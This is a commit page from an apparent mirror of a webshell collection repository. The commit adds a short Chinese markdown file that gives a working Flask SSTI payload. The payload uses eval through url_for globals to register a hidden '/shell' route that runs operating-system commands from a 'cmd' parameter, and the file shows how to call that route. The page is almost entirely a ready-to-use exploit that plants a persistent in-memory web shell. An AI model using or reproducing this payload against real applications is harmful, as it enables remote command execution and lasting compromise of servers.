Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-24 20:23:04 +00:00
Code Issues Projects Releases Packages Wiki Activity

add python flask 内存马 @jweny

Browse source 
from : https://github.com/jweny/MemShellDemo/blob/master/MemShellForPython/python%20flask%20%E5%86%85%E5%AD%98%E9%A9%AC.md
This commit is contained in:
tennc 2021-06-04 19:54:16 +08:00 committed by GitHub
parent bbddc284a2
commit 8b5b371da4
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 18 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

18
py/python flask 内存马.md Normal file
View file

@ -0,0 +1,18 @@
先起一个带有ssti的flask：
插入路由：
http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
访问植入的shell：
http://127.0.0.1:8000/shell?cmd=whoami
参考：
https://github.com/iceyhexman/flask_memory_shell
https://segmentfault.com/a/1190000022175553
https://xz.aliyun.com/t/8029